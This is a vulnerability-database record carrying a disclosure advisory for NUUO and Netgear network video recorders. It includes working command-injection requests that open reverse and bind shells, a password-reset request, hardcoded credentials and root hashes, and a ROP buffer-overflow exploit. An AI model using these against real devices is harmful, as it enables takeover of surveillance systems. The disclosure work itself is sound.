"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "VULHUB",
"id": "VHN-94493"
},
{
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
},
{
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-04T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULHUB",
"id": "VHN-94493"
},
{
"date": "2016-08-31T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"date": "2016-08-04T22:22:21",
"db": "PACKETSTORM",
"id": "138199"
},
{
"date": "2016-08-12T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-268"
},
{
"date": "2016-08-31T15:59:00.153000",
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-08-05T00:00:00",
"db": "CERT/CC",
"id": "VU#856152"
},
{
"date": "2016-08-16T00:00:00",
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULHUB",
"id": "VHN-94493"
},
{
"date": "2017-09-03T00:00:00",
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"date": "2016-08-04T00:00:00",
"db": "BID",
"id": "92318"
},
{
"date": "2016-09-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"date": "2016-09-01T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201608-268"
},
{
"date": "2024-11-21T02:54:48.057000",
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities",
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "input validation",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
}
],
"trust": 0.6
}
}
var-201608-0073
Vulnerability from variot
Stack-based buffer overflow in cgi-bin/cgi_main in NUUO NVRmini 2 1.7.6 through 3.0.0 and NETGEAR ReadyNAS Surveillance 1.1.2 allows remote authenticated users to execute arbitrary code via the sn parameter to the transfer_license command. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. A buffer overflow vulnerability exists in the NUUONVRmini21.7.6 to 3.0.0 version and the NetGearReadyNASSurveillancex861.1.2 version. An attacker could exploit the vulnerability to execute arbitrary code by sending a specially crafted request. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
Technical details:
1
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); }
The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
- NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
2
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user).
-
NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root.
-
Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root.
3
Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
4
Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /_nvr_status_.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit
5
Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0
The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
6
Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";;#
Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
7
Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command);
For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault.
0 0x61616160 in ?? ()
(gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb)
The request can be sent by an HTTP GET or POST method.
A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992
On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002
Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
